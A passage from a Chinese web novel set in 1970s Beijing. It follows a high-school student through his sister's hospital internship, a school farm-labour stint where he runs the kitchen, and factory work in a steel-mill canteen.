“事情的发生，是由多种原因混杂在一起形成的。虽然你不是组织者，但是作为事件的中心人物，老师还得多说你一句。”王凤友看着白建军严肃的说道。“你在初中时的表现老师清楚，但是现在升入高中之后，不要搞那些小团体、小圈子。你以后不仅仅要团结那些从初中部升上来的同学，还要团结其他外校升上来的同学，你们现在都是红旗中学高中部的学生啦，不分什么卫东的、向阳的或是红旗的。” “王老师，我接受您的批评！” 白建军低下头说道。 “批评谈不上，只是建议！”王凤友温和的说道。“老师对你还是有信心的，相信你一定不会辜负老师的期望！” 在灌输给了白建军足够多的正能量之后，王凤友就让白建军回去了。其实之前刘士宽他爸来给刘士宽办转学的时候，在关上门之后说白建军组织人报复他儿子的话，王凤友一点都不信。 不过因为刘士宽他爸是个小领导，学校方面也组织了一次调查，徐静理、蔡晓丽以及二排的很多学生都能证明白建军并没有在下课之后去窜联其他班级的同学，而别的老师在问那些参与的同学之后，他们几乎都说是出于义愤才会参与其中的。 四连四排的图强的话，王凤友现在还记忆犹新。 “我们为什么义愤？有白建军在，那就相当于我方有了战地医院。敌人偷袭我们的后方，偷袭我们的医院了，那我们还不全力打退敌人的进攻？打掉他们嚣张的气焰？” 四排的班主任听到图强的回答后，只说了一句。 “让你们‘学军’还真没白学！” 白建军往校外走的时候，除了夏建红、任燕等着白建军，就是徐静理、苏萌也都等着白建军。蔡晓丽见白建军没事而且还有那么多女生等着他，就悄悄的离开了。蔡晓丽不远处的叶菲看到白建军和几个女生汇合后，也转身往九道弯走去，不过脸上已经没有了笑模样。 回去的路上，就听苏萌在那里叽叽喳喳的叫了，反正徐静理是这么认为的。等到了岔路，白建军和夏建红、任燕离开之后，苏萌才算停下来，徐静理也终于觉得世界清静了。 “建红、燕子，你们俩副食票和油票就别准备了，我家里还剩下一些！你们俩明天过来取，或者我直接带着！” 临到分别的时候，白建军招呼夏建红和燕子说道。 “建军哥，还是别了，我家里还有一点油票和副食票！” 夏建红连忙摆手说道。 “是啊，建军哥！”任燕也看着白建军说道。“你让我们拿一点，你和建华姐就少用一点！” “我姐在学校只用粮票，副食票和油票几乎都用不上！”白建军解释道。“我一个人也用不了那么多，过期了就白瞎了！” “还是别了！” 无论夏建红还是任燕都摆手拒绝道。 “你们俩还跟我客气，一会儿我给你们俩送过去！” 白建军说完也不等两人拒绝就走进了自己的家门，夏建红和任燕互相看了看，也只能先回家。 “你在外面说什么呢？”白建华看着刚回来的白建军问道。 “没什么！”白建军摇了摇头，然后又看着白建华问道。“姐，你什么时候开始实习，实习单位定下来么？” “过了10月末就可以实习了，自己能联系到实习单位可以提前过去，如果联系不到，学校也会安排！” 白建华接过白建军的书包，姐弟俩边往屋里走，边说道。 “姐，要不咱们还是找高阿姨商量一下，看看不能不让你去她们医院实习！”白建军看着白建华说道。“这样以后你也有很大的可能留在她们医院。” “建军，那是部队医院，咱们的身份可以么？” 白建华看着白建军不确定的问道。 “姐，你别忘了，你现在户口和档案上的名字都是苗建华，你随的是咱妈的姓。至于咱爸那一栏，后面不是还有个（断绝关系）么！”白建军看着白建华认真的说道。“咱妈可是根正苗红的革命军人！” 李香秀也鼓励白建华说道。 “建军说的对，你爸当初已经和你太爷爷以及你爷爷断绝关系了，再有之前你爸写的和你们断绝关系的声明，建华你已经和白家脱钩了！你的出身，不会有影响的！” 第31章 先让姐姐幸福吧 白建军自己是摆脱不了出身带来的限制的。 白建军太爷爷白景琦是资本家，甭管是民族资本家还是官僚资本家都是资本家；白建军的爷爷白敬业更是一度被认定为右派；白建军的父亲白占元以前还算是革命军人，但是哪怕白占元和家里断绝关系，还写下与白建军姐弟断绝关系的证明，但是做为白家的嫡系男丁，是甩不开与白家的关系的。 白占元当初写的那个断绝关系，唯一能帮到的就是白建华，毕竟白建华是女孩，影响稍微要小一些。所以白建华可以改姓苗，但是白建军并没有改姓。只要白建军姐弟仍然姓白，那么因为出身的问题是继承不了苗若珍的遗泽的，但是白建华改姓之后就可以了。 姓苗也好，姓白也好，哪怕姓黑也改变不了白建军和白建华是亲姐弟的事实，改变不了姐弟两个相依为命的感情。 白建华实习的事，李香秀出面找了高兰和曹慧，请她们俩帮忙。高兰和曹慧都是苗若珍的战友、闺蜜，虽然对白家的遭遇无能为力，但是像这样的事情，她们俩也都愿意搭把手。因为白建华现在叫苗建华，起码在面儿上是说得过去的，在白建军“学农”归来之后，高兰已经把苗建华的情况辗转告诉给了她们的老参谋长。在没有违反组织原则的情况下，白建华顺利进入到了高兰医生所在的医院实习。 白建华实习期过后，有很大的可能就留在医院工作，之后在走了一系列的程序之后，白建华就会成为一名有着初级职称（护士）并且拿着最低行政级别工资的公务员。可以说白家现有所有能用的资源都倾斜到了白建华身上，才让白建华走到了这一步。 白建华最开始是反对这么安排的，李香秀也不同意，但是白建军坚持这样两人也拿白建军没办法。白建军做为白家二房在京城中唯一剩下的男丁，他的决定还是有着很大的分量的，哪怕白家现在就剩下三个人了。 “太奶奶，姐！咱们家就这么点资源，只能集中到一个人身上，而且这些资源给了我，也起不到什么效果，反而给我姐能让我姐平安的渡过现在的困难时期。 至于我之后，也想好了，若是毕业之后能通过招工，那就留在京城，最差也不过是下乡而已，以后还有别的机会。 我能去拼以后的机会，因为我还小能等着起，但是我不能让我姐去等。” 白建军在来到这个世界之初，只想着规划好自己的人生，然后尽量给徐静理幸福。但是随着姐弟两个相依为命过了这么多年，白建军觉得自己应该先让自己的这个“亲”姐姐过上幸福的生活。 ----------------- 白建军在新学年开学一周之后，一大早就把被褥打成背包，带上3套换洗的衣物以及一些必须的票证，汇合夏建红、任燕就来到了学校。 整个红旗中学高一年级一共两个连八个排，每个排人数都在50人左右，白建军他们所在的三连二排和三连一排一起，乘着卡车来到燕郊的永丰公社。 由于要常驻一段时间，公社这边将以前留下来的一个大车店给学生们腾了出来。男生们都住在原来的大通铺，女生们则几个人一间房间，根本没给女生们什么考虑的时间，老师们随即就开始安排了起来。学生们就进个屋，把行李都放下，之后再次被集合起来直奔屯佃大队开始参加秋收。 急行军一样的一天结束了，学生们一个一个的都倒在炕上、床上不愿意动弹，不过随着开饭的喊声传来，同学们又拿起饭盒纷纷走出屋子，有气无力的开始吃饭。 一排班主任刘爱红在同学们吃完饭之后，就把大家都集中在了空场里。 “同学们，今天这顿饭是公社为大家准备的，明天一早，公社那边也会给大家送来早饭。”刘爱红停顿了一下。“但是之后的伙食问题，都需要我们自己解决。甚至是今天的伙食我们都要补给公社这边，我们不能占公社乡亲们的便宜。大家说对不对！” “对！” …… “一排的夏建红、二排的白建军！” “到！”×2 “你们两个负责将同学们带来的粮票等票据都统一收集起来，先做好登记。”刘爱红看着站起来的两个人直接交代道。“明天一早，你们俩找几名学生把粮食和副食领过来一部分，中午饭和晚饭就需要你们想办法解决了！” “保证完成任务！”×2 “一排的任燕、二排的徐静理！” “到！”×2 “你们明天开始要组织好同学到屯佃大队帮助大队完成秋收工作！” “保证完成任务！”×2 刘爱红交代了一番就和王凤友以及其他几名老师去研究怎么开展教学工作了，老师们将这些事情交给学生们，既是锻炼他们的能力，也是一种考察！ “建红，一会咱们俩分别统计男生和女生们带来的票据，然后再问问有谁会做饭的！”白建军在解散之后，就去找到了夏建红。“统计完之后，我们看看这边的情况，然后再看看缺什么！” 夏建红点头确认之后，两个人就开始分别行动，白建军这边开始对照这两个排的花名册，记录大家的票据，同样夏建红也是如此做。等白建军这边统计完的时候，夏建红已经带着几个女生在这个大车店转悠了一圈。 “建军哥，这边我们刚刚都看过一遍了，原来的几个灶坑都得修理一下才能用，另外还缺做菜的大锅、柴火等东西。”夏建红找到白建军的时候，直接和他说了现在的情况。 “一会儿我和男生们先去看一眼，然后去找点干柴。”白建军看着夏建红和其他几名女生说道。“剩下的只能明天去和公社里借了。” 学生们满怀心事的住了一晚上之后，第二天一早，除了粮食问题，其他的如锅、灶的问题，公社那边都派人来解决了，而且还特意安排了两个女同志过来教学生们帖饼子和蒸窝窝头。 白建军在吃过早饭之后，就带着几个男生去公社那边拿着粮票换粮了，虽然大家干的磕磕绊绊的，但是在到中午之前，最少把一顿热乎饭给同学们送到了田间地头。 虽然学生们做的饼子有些糊，菜也有些淡，但是最少还能吃，这已经出乎了老师们的意料之外了。 “看来白建军和夏建红他们，还是能胜任后勤工作的！” 第32章 篝火晚会 既是秋收，也是抢收，连续三天的麦收，就是在与天争。好在天公作美，这三天并没有下雨，这让屯佃大队乃至整个燕郊地区所有的农民心中都松了一口气。 红旗中学高中部三连一排和二排的师生们在这期间过的是相当的充分，师生们除了帮助农民割麦、收麦，老师们也千方百计的教给同学们各种知识。 教王凤友老师就趁着同学们休息的时候，不顾疲惫的身体，仍然带着几个同学亲自丈量土地的长宽等数据，并以此来给同学们出各种各样的数学题；工基老师已经把学生们所住的大车店的电路全都画了下来，并且让学生们跟在他身边逐一讲解；农基老师更绝，也不知道他是怎么和公社沟通的，农基老师收集了永丰公社下辖几个大队所有的粮食标本，然后按照标本，给同学们讲解地理、气候、水文以及化肥、农家肥这些相关联的知识。 同学们尽管身体上劳累，但是对于知识也是无比渴求的。 三天的麦收结束之后，公社那边特意送来了一些现磨的小麦粉和小半扇猪肉，白建军和夏建红可不敢收这个，最后还是老师们出面和公社这边协调，公社那边才象征性的收下了一点钱和票。 当天晚饭，为了庆祝这阶段性的胜利，炊事班这边直接蒸了馒头，至于菜更是一道足量的白菜、土豆炖猪肉。白建军除了把肥肉留下来一部分以外，其他的肉一次性都给炖了，也好好让同学们解解馋。 吃完了晚饭，同学们更是聚在大车店的空地上围坐一圈，在中间篝火的映照下，开始了庆祝活动。 “老师们！”“战友们！” “大家晚上好！”×2 “在这收获的季节！” “我们三连一排、二排全体师生，发挥一不怕苦、二不怕累的精神，顺利的完成了秋季的抢收工作！” “哦……吼……！” 随着主持人苏萌和区立林的开场白，全场发出热烈的欢呼声和口哨声。 “下面请听女声合唱——《红梅赞》，演唱者三连一排全体女生！” “红岩上……红梅……开……哎……” …… “老师们，我们学生们都出一个节目了，你们是不是也出一个节目啊！” 区立林在女声合唱后，看向了坐在一边的几名老师们。 “那我就给大家来首诗朗诵吧！” 语文老师赵舒兰在其他老师们的鼓励下直接站了起来。 “《沁园春·长沙》” “独立寒秋，湘江北去，橘子洲头。” …… “曾记否，到中流击水，浪遏飞舟？” “好！”×N 小合唱、诗朗诵、独唱，大合唱，节目都是同学们临时凑出来的，但是气氛却格外的热烈。摇曳的篝火噼啪作响，同学们的内心也激情澎湃，在高昂的歌声中，同学们手牵着手，围绕着篝火尽情的欢呼，跳跃。白建军左手拉着蔡晓丽、右手拉着夏建红，此时此刻白建军感觉5年以来从没有此刻这么放松过。 欢乐、放松是短暂的，但是此刻的一幕已经深深的烙印进了同学们的心中，当多年以后再次聚首之时，大家仍旧回忆着此时的种种。 ----------------- 尽管昨夜热闹到很晚，但是对于十五六岁的学生们，第二天都早早的起来。虽然同学们不在学校，但是已经养成的习惯不会轻易忘记。除了准备早餐的炊事班，其他学生都参加早上的跑操之中，就连老师们也在听到口号之后，纷纷加入其中。 在大碴子粥就着全麦馒头和咸菜填饱了学生们的肚子之后，大家都纷纷在空地上席地而坐等待着接下来的任务。刘爱红和王凤友吃完饭就去公社那边了，不大功夫就回到大车店这边。 “同学们，接下来的一个礼拜，我们每天都要去东玉河大队，除了帮助大队平整土地，还要帮助当地农民挖掘排水渠！”刘爱红回来之后，就向同学们传达了新的任务。“同学们有没有信心，再次完成好任务！” “有……！”×N “有没有信心！” “有……！有……！有……！” 同学们再次被组织起来，徒步赶往东玉河大队参加劳动。 白建军和夏建红等同学们出发之后，才找上了一排和二排的两名班主任。 “刘老师、王老师！”白建军有些担忧的看着两位老师说道。“平整土地这件事还好说，但是要是同学们去挖排水渠，那都是重体力劳动。我担心粮食到最后可能不够吃！” “这……” 刘爱红和王凤友一时之间都有些不知道该怎么说了。 “刘老师，我和白建军算过了，现在咱们都是用面粉和玉米面儿两掺做饼子，如果把面粉换成高粱米，可能会补充一定的缺额！”夏建红在白建军说完，接着提议道。“我们俩想今天就把两掺的饼子先换成三掺，等平整土地完成之后，再换成高粱米面儿和玉米面儿两掺。” “公社送来的肉没全用了，我把大部分肥肉都留了下来，除了熬了猪油，油渣还能炖菜用，也算能让同学们顿顿见到油花吧！”白建军也把自己留下肥肉的事说了出来。“节省下来的油票，看看不能不在公社这边换点粗粮。” “到时候我们会叫上几个同学和我们一起去搬粮食，另外我和白建军也把每天的消耗都做了记录！” 夏建红认真的看着两位老师说道。 “以往我们也没干过挖渠的工作，所以让同学们带的粮票都是以往一些轻体力劳动的量。”听了白建军和夏建红的安排，刘爱红和王凤友纷纷点头表示肯定。“你们俩工作做的很好，未雨绸缪，更有大局观！后勤的事交给你们，我们很放心！” 虽然前几天主食材料的替换引起了同学们的一些议论，但是等同学们真正参与到挖渠工作的时候，什么抱怨都没了。以前女生中午和晚上各一个饼子差不多就吃饱了，但是自从参加挖渠之后，女生最少都能吃下去两个饼子，有的都能吃三个。 能上高中的，智力都没有缺陷，大家心里也都有笔帐。这么多天大家食量成倍的增加，但是炊事班供应的食物的量也没法发生短缺，大家都佩服负责炊事班的白建军和夏建红，炊事班能不让同学们饿肚子，就是最大的成就！ 第33章 学工 哪怕白建军和夏建红精打细算，可是到最后两天，同学们带来的粮票几乎消耗一空。公社那边也知道了这个情况，毕竟白建军和夏建红把细粮换成粗粮都是通过公社这边。 这时候讲究的就是一个“革命工作不分高低贵贱”，轻体力劳动是劳动，重体力劳动也是劳动。刘爱红和王凤友不好意思和公社这边提出来学生们的困境，但是白建军和夏建红隐晦的表达了学生们快断顿的事。公社这边研究了一番之后，最后也拿出来一部分粮食，虽然都是粗粮，但是也算是解决了同学们断顿的风险。 学生们参加“学农”除了第一天的不适应以外，不知不觉之间，十多天悄然而过。当最后一天下午同学们返回大车店的时候，刘爱红和王凤友宣布“学农”结束，同学们虽然心中高兴，不过疲惫的身体，已经让他们失去了欢呼的精力。大家回去之后换下了满是污垢的衣服，整理行李，重新登上了返回城市的卡车。 等到了学校，老师们只是告诉大家休息一天之后就正常恢复上课之后，就让同学们回家了。老师们哪怕做为成年人，同样也和同学们参加劳动，也都疲惫不堪。 同学们三三两两各回各家，白建军也回到了正阳门这边的家中。白建军出去了快半个月了，但是家里仍然很干净。就在白建军放下行李准备生火做饭的时候，夏建红又找了过来。 “建军哥，你别做饭了，我爸妈叫你过去和我们吃一口！” 白建军听到夏建红这么说也没有客气，直接跟着夏建红去了隔壁四合院夏家。夏家这边，夏默和高兰以及夏小妹都吃过饭，也没有再单做，只是把剩下来的窝头和菜热了热。 等吃饭完，高兰特意跟着白建军去了白家。高兰特意过来，就是为了告诉白建军关于白建华的事。 “建军，你姐的事，已经成了！” “高阿姨，我姐的事，让您费心了！” 白建军感激的看着高兰说道。 “你这孩子，净说这些外道话！”高兰假装不满的说道。“你和建华都是我看着长大的，你爸妈虽然都不在了，但是我们这么多年的感情，于情于理我都要照顾你们。” “高阿姨，您的恩情，我和我姐这辈子都忘不了。” “别说什么恩不恩的，你和建华把日子过好了，你高阿姨我就心满意足了！” 高兰又叮嘱了白建军几句话之后，就离开了白家。白建军略带担忧的心也终于放了下来。 第二天休息，白建军是睡到了自然醒，虽然老师让白建军和夏建红负责后勤，但是该干的活白建军是一点没少干，炊事班也就是能比同学们早回去一个小时准备三餐，白建军自己也是累的够呛。 好好收拾了一番之后，白建军又找来了夏建红，两个人又对了一遍后勤所有的花销，在全部统计了一遍之后，确定没有算错，只剩明天上学之后交给两个班主任，白建军和夏建红身上的后勤工作才算是完成了。 再次返回学校上课，并没有什么乱七八糟的事情，虽然别的排带去的粮食都有剩余的情况，但是三连一排和二排也没有学生家长来学校找事。孩子们干了什么活，吃了多少东西，大家都能算出来，也没人来学校无理取闹。 又上了不到一周多的课，就迎来了新种花23年的生日。从去年开始，政府再次调整了国庆庆祝的方式，由大规模的群众游行改为了游园活动。 在国庆期间京城这边的劳动人民文化宫、中山公园、颐和园、天坛公园、陶然亭公园、紫竹院公园都有节目丰富多彩的游园活动，学校也会组织同学们参与其中。不过有的地方的游园是免费开放，有的却必须凭借请柬才能进去。 相比于大规模的游行，游园活动的仪式色彩相对淡化，但群众狂欢的性质还是保留了下来。 白建军他们就被学校组织去了天坛公园。此时的天坛公园里，主道的上空，挂着巨大的红色条幅，上面都是“团结起来，争取更大的胜利！”这样的标语，道路两旁的电线杆上，也挂着花灯。 白建军和同学们来到天坛公园之后，发现无论是现在还是自己的前世，一到节假日，各个地方人山人海的场面，从来就没有变过。 一队小学生经过白建军他们身边，这些孩子都扎着红领巾，无论男生女生，统一的都穿着白衬衫，唯一的区别可能就是男生穿着蓝裤子，女生们都穿着蓝裙子。看他们统一的着装，就是学校合唱团的，这些孩子都是有表演任务的。在合唱团的小朋友过去之后，更多的小学生接踵而至，他们虽然穿着朴素，但是脸上的兴奋却是掩饰不住的。 除了学生，工人、官兵，乃至各行各业的人都在各自单位的组织下，参与到游园活动中来。可以说同白建军的前世一样，国庆假期对于大多数人来说，都是一个难得的放松的时刻。 不过这轻松的时刻，也就是国庆节这一天，过了国庆节，白建军又投入到了日常生活之中。直到10月末，白建华从郊区的学校回来开始实习，而白建军也迎来了为期一个月的“学工”的经历。 白建军他们的这个“学工”可不仅仅是去工厂参观那么简单，而是真正的下到车间。如果有幸能遇到一个好师傅能用心教，学生也认真学，不说毕业之后能分配到厂子，起码有了一份香火情，以后招工的时候人家也会想到你。 有幸运的，也有不幸的。那样的话，学生们就是当一个月的小工了，哪怕工厂内的一个一级工，也能使唤来使唤去。 白建军也不知道自己是幸运还是不幸，幸运的是白建军被分配到轧钢厂的后厨，这就不用担心吃不饱的问题了，但是不幸运的是，食堂掌勺的大师傅叫何雨柱。白建军一看到这位，眼里满是同情以及怒其不争。 第34章 厨工 轧钢厂第二食堂后厨，一大早人事科的王干事就带着白建军、蔡晓丽、赵小年三个学生找到了何雨柱。 “何师傅，这三位同学是红旗中学到咱们厂子来学工的，根据学校的推荐，咱们厂把三位同学分配到您这边。”王干事看着何雨柱笑呵呵的说道。“您看，您给带一带？” “何师傅好！”×3 白建军三人连忙对着何雨柱问好。 “王干事，咱们可先说好啊！”何雨柱也没看白建军三个人，而是直接冲着王干事说道。“这人留下来倒成，但是他们要是今儿个这事，明儿个那事的，那我可把人给你退回去，你可别说我扫您面子！” “何师傅，咱们和红旗中学合作是政治任务，您可别故意难为人就成！” 王干事虽然知道何雨柱在李主任面前有面子，但是还是要给何雨柱打个预防针。 “要是信不着我，现在你就把人领走！” 何雨柱一点没给王干事面子，直接怼了一句。 王干事也没和何雨柱吵，只是给了白建军他们三个人一个自求多福的眼神，就离开了第二食堂。 “马华，两个男生交给你了，教他们洗菜！” 何雨柱直接招呼了一个年轻的厨师。 “好咧师父！”马华答应了一声之后，就招呼白建军和赵小年。“你们俩跟我来，先把衣服换喽！” 等白建军他们跟着马华走了，何雨柱看了看蔡晓丽，又对着刘岚说道。 “刘岚，这个女生就跟在你身边，先从打菜开始学！”何雨柱说完，想了想又不对。“得了，还是让她跟着马华去学洗菜去吧，等打饭的时候再跟着你身边学！” “都听你的！” 刘岚面无表情的说道。李主任已经警告过刘岚了，让她不要和何雨柱不对付，刘岚虽然不会再针对何雨柱，但是态度也不会太好。 “马华！马华！”何雨柱冲着后面大声喊道。“这个女生也先交给你！” “你去找他们去吧！” 何雨柱对着蔡晓丽吩咐了一句，看着蔡晓丽离开之后，自顾自的端起大茶缸喝起了茶，看着其他厨工们忙来忙去。 而另一边，马华带着白建军三人去后勤那边领了三套厨师服之后在回来的路上就和几人闲聊了起来。 “这厨师衣服和帽子，不是现在让你们穿的！”马华看着捧着衣服的三人说道。“你们大多时候都是洗菜，穿平常的衣服就成。只有在食堂开饭的时候，你们在换上衣服、帽子和套袖。” “谢谢马师傅！” 白建军客气的对着马华说道。 “你们三能被分配到食堂，要么就是在学校表现的挺好，要么就是身份特殊。”马华随意的看着三人说道。“你们仨是什么情况？” “可能是之前我们几个参加‘学农’的时候都在炊事班缘故，学校才推荐我们来这边的。”白建军笑着说道。“我们没有什么特殊身份！” “我说的身份特殊，可不是你们，是你们的父母。”马华摇了摇头看着白建军说道。 “那就更没有了。”白建军直接否定道。“我爸妈都不在了，就一个姐姐刚去医院实习；蔡晓丽她爸是个普通职工，大姐虽然也上班了，可也不是什么领导；老蔫家也差不多，赵伯也是在厂子上班，两个哥哥下乡，两个妹妹们也都在上学呢。” “这么说来，还真就是你们在学校表现的原因了！” 马华听完白建军的话，看了看蔡晓丽和赵小年笑着对着白建军说道。 没几句话的功夫，几人就返回了食堂，马华直接带着三人从库房里取出来白菜、土豆，并开始教三人该怎么清洗。这时候，后厨的其他几名小工也都开始了洗菜的工作。 马华教了几遍要领，然后又看着三人干了一会儿就返回了后厨。 “师父，刚刚已经盘过道了。” 马华走到何雨柱身边小声的把白建军三个人的情况跟何雨柱汇报了一下。 另一边聚集在一起的三个人也都仔细的清洗着土豆、白菜。三人是严格按照马华教的，先去泥再拿清水过一遍，然后再放到一边的大盆里。而在他们旁边的几个小工则是把菜涮吧涮吧，去掉了泥土，也没有最后一遍的清洗，就直接把菜扔到了身边的大盆里。 蔡晓丽和赵小年看着直皱眉头，可是白建军用眼神制止了他们俩。等那几个小工洗完菜直接端着大盆去了后厨，两人都看向了白建军。 “咱们干好咱们的，甭管别的事。”白建军小声的看着两人说道。“咱们带了眼睛、耳朵，但是没带嘴！” 等白建军他们洗好之后，后厨这边已经开始切菜了，只有马华一个人还闲着。 “你们把菜拿过来吧！在我身边站着。” 马华一边交代大盆放在什么地方，一边开始切菜，边切菜还边跟几个人交代切菜的要领。刀怎么握，块怎么切，什么角度能省力，哪怕怎么站着省力气都和几人详细的交代了一番。几人就看着马华在这边切菜，也在用心的记着。 等马华这边都切完了，何雨柱这才起身走到一口大锅边。 “呦，傻柱，今儿个你还亲自炒大锅菜啊！” 刘岚一看何雨柱的动作，直接开口打趣道。 “你哪那么多废话啊！” 何雨柱头也不回的怼了刘岚一句。 此时其他几个大灶已经有厨工开始炒菜了，马华和白建军他们几个人把菜盆抬到何雨柱大灶的案子上，何雨柱就开始动手炒菜。 “你们仨，用心看，有不明白的回头问马华！” 何雨柱说完，就开始用心的炒菜，而白建军三人也在旁边用心的看着。 离着饭点还有一会儿，后厨的准备工作都已经做完了。 “刘岚，这边的菜你和蔡晓丽一起打。”何雨柱看着换上了厨师服的刘岚和蔡晓丽说道。“记住啦，只给他们这些学生打！” 随着一阵铃声的传来，轧钢厂也迎来了中午休息的时间，工人们纷纷放下手中的活计，在工具箱里取出饭盒往食堂打饭。 这去食堂吃饭，打菜也得找熟人，不少人都纷纷往刘岚这边来，可是看到刘岚那个窗口外放着的“学生窗口”的牌子，就都纷纷离开了。轧钢厂接收学工的学生也不是一次两次了，以前有人觉得学生们这边菜能好点，自打有人吃出土腥味之后，工人们也涨了记性。 “白大夫，饭票能少收点么？” “蔡晓丽，你跟这位大姐说说，多给我打一点呗！” …… “白建军，咱们这位何师傅看着人还挺好的！” 下班的路上，蔡晓丽看着白建军说道。 “人是好人，就是这嘴啊，净得罪人了！” 第35章 小聚 学工的第一个礼拜天，白建军一觉睡到了自然醒。 “建军，一大早我和太奶奶把菜买回来了，你看看够不够，不够我一会出去再买点。”白建华看着走进正屋的白建军直接说道。“今儿个能来多少人，人手够么？” “差不多得来20多人吧！不过人手够用！”白建军大致估算了一下。“就是凳子啥的还缺点，一会儿我去周围邻居家借一下。” 白建军简单的喝了点粥，就出去找四周的邻居借凳子了，东家两个凳子，西家三个椅子，没多大功夫，就凑了20多个椅子。刚过了10点，蔡晓丽就先到了，看着正帮着洗菜的夏建红和任燕，招呼了一声就开始干活。 “夏建红、任燕，这个我来吧！” “蔡晓丽，你这天天在后厨洗菜，还没洗够啊！” 任燕看着已经上手洗菜的蔡晓丽，开玩笑的说道。 “我倒是想去切墩，可后厨根本就用不上我，何师傅就让我跟着刘岚姐学怎么沟通前后。”蔡晓丽笑着说道。“你们呢，这平时虽然都在一个厂子，可也就吃饭的时候能看到你们。” “我在库房，天天就是跟着孙姐点货。”夏建红看着两人说道。“别说，现在五金配件，我都记得差不多了。” “我在宣传科，到是没什么事，不过我跟着张干事，到是学会了用照相机。”燕子笑呵呵的说道。“等以后，我要是能有一个自己的照相机，我给你们拍照！” 三个女孩边干边聊，这时候陆陆续续也有人过来。 女生这边徐静理、苏萌、王美丽、叶菲前后脚都来了，男生来的就更多了。图强（强子）、赵小年（老蔫）、区立林（大林）、雷金山（大头）、赵二喜、李春来等等将近十多个男生也都三三两两的过来了。虽然大半都是原来红旗中学升入高中的，不过也有其他外校升上来的，多是之前学农的时候在炊事班的那些学生。 白建军这边让家里买了一些肉，至于蔬菜，都是这些人这个带点，那个带点，徐静理更是从家里带来了一小桶二锅头。 “徐排长，还是你敞亮啊！” 男生们看着拎着小十斤的酒桶走进来的徐静理，纷纷竖起了大拇指。 “我妈知道我要过来，就让我拎过来给大家尝尝。”徐静理局气的说道。“今天大家尽兴，要是不够，一会我再让我爸送来！” 徐静理放下酒桶就去女生那边帮忙，男生们都坐在院子里聊天打屁，不大会女生们把菜都处理完了也都走了出来。大家一边磕着花生瓜子，一边吐槽这个礼拜在厂子的情况。 “你们是不知道，我们车间那个老刘师傅，没有一天是不骂人的！”强子吐了一口瓜子皮，看着大家说道。“哪怕是那些四级工，天天也被那刘师傅训的跟三孙子似的。” “连你们也挨骂啦？” 区立林看着强子、王美丽还有李春来问道。 “我们多啥啊！”王美丽摇了摇头。“工具递错了都挨骂，哪怕我是个女生，这位刘师傅也没放过我！” “王美丽，你没挠他啊！”白建军看着王美丽开玩笑的问道。“这不像是你的脾气啊！” 听到白建军这么说，男生女生都笑了出来。 “白大夫，你还别说，王美丽挨骂的时候，真要压不住火了。” 李春来笑过了之后，就和大家说道。 “那你是怎么忍下来的啊？” 大家都好奇的看向了王美丽。 “我们车间的这个刘师傅，虽然骂人，但是骂过之后，他真的是手把手的教你怎么干，虽然中间也会接着骂人，但是无论怎么骂，一定会把工序给你讲的明明白白的！”王美丽认真的看着大家说道。“我爸也是这么带徒弟的，只是没有刘师傅骂的这么厉害。” “你们几个还真是幸运啊！”赵二喜哭丧着脸看着大家说道。“我们几个都想换个车间了！” “你们怎么了？” 赵二喜的话一下子引起了大家的兴趣。 “我们车间那位易师傅，对谁都客客气气的，但是你想站在他身边，那是想都不要想了！”跟赵二喜同一个车间的方正行说了一句。“我们车间那些其他的师傅都是各人管个人，对我们这些人也都是客客气气的，但是啥都不教我们。” “摊上这么个车间，我们这一个月算是白玩了！”赵二喜无奈的说完，羡慕的看向雷金山。“大头，我路过你们焊接车间的时候，我看你都能上手了？” “那是我师傅让我上手试试。”大头憨笑着说道。 “你这是打算拜师父啦？” 强子看着大头惊讶的问道。 “我爸妈都有这个打算，可是不知道我师父是啥态度。”大头摇了摇头说道。“咱们就在厂子呆一个月，之后也不知道能不能进轧钢厂！” “褚师傅可是厂里的七级工，你要真能拜他为师，那你可算是掏上了。”白建军看着大头建议着说道。“大头，你这电焊要是学好了，你不在轧钢厂，你去别的厂子也一样啊。有褚师傅的面子，到哪不都得高看你一眼。” “是啊，白大夫说的对！大头，你可得把握住机会！” 大家也纷纷开始给雷金山鼓劲。 白建军和他们闲聊了几句，就去厨房开始炒菜，不大会儿功夫，蔡晓丽就将一盘盘的菜端上来了。 “这么看来，以后不能叫白大夫了，得叫白大厨了！” 众人看着端上桌的菜，不由开着玩笑说道。 “你们可瞎叫啦！”蔡晓丽笑着看着大家说道。“我们在食堂，天天就是洗菜，也就白建军昨天才开始学切墩。这要是让后厨的人听到你们这么叫，还不得笑话他啊！” “建军哥原来就会做饭！”夏建红也在一边说道。“不过别说，这在后厨待了几天，还是有很大进步的，起码这土豆丝切的就比以前好的多了。” “说什么呢？”白建军又端了一盘菜走了出来。“还有个硬菜，不过得炖一会儿！” “同学们，大家都满上吧！” 第36章 教训禽兽 轧钢厂做为一个万人大厂，不止一个食堂，不过来学工的学生们哪怕多走几步路也都愿意到第二食堂吃饭。最开始也不是没有学生去别的食堂用餐，菜的口味其实都没什么太大的区别，但是那些菜里多多少少都有些土腥味。 第二食堂这边有专门服务学生们的窗口，慢慢的大家也都愿意往这边来，主要就是一个吃的安心，毕竟学生窗口这边有自己人，而且还是在年级里比较有名望的白建军。 头几天第二食堂学生窗口这边的菜还有剩余，但是等到周末这天，学生窗口这边的菜不仅没剩下，还不够了。来轧钢厂这边学工的都是三连的学生，加起来有将近200人，要是光指着白建军他们三个洗菜根本供应不过来，针对这种情况，何雨柱让其他小工供应白建军他们这边的菜量。 哪怕小工们把菜洗干净了，白建军仍然坚持再用清水投一遍，这让不少小工的面上都不好看，有人背着白建军他们在何雨柱面前说怪话，或者当着白建军他们的面就阴阳怪气的。不过在何雨柱将这些小工损了一顿之后，他们也都老实了。有些事睁一只眼闭一只眼也能过去，但是不能放到台面上来说。 这天白建军和蔡晓丽在窗口正准备开始打饭，一个中年妇女走进了食堂，看了看别的窗口都有不少人排队，而学生窗口这边暂时还没有人排队，这个中年妇女直接走到了窗口这边。 “给我拿五个馒头！” 这个中年妇女直接冲着白建军伸手递过来一张厂子发的饭票，另一只手也开始准备把饭盒往前送。可是等了能有5、6秒，中年妇女发现对面的两个小年轻根本没接饭票，这才把盯着菜的眼光看向了白建军。 “这位阿姨，这里是学生窗口，您去旁边的窗口打饭吧！” 白建军看着中年妇女客气的说道。 “旁边不是人多么，你们这边现在也没有人排队，你先给我打点呗！”中年妇女理所当然的说道。“还有那么多菜呢，也不差我这一个人！” “阿姨，您还是去别的窗口吧！” 白建军看了看这个中年妇女手里那张2两的饭票，再次摇了摇头。 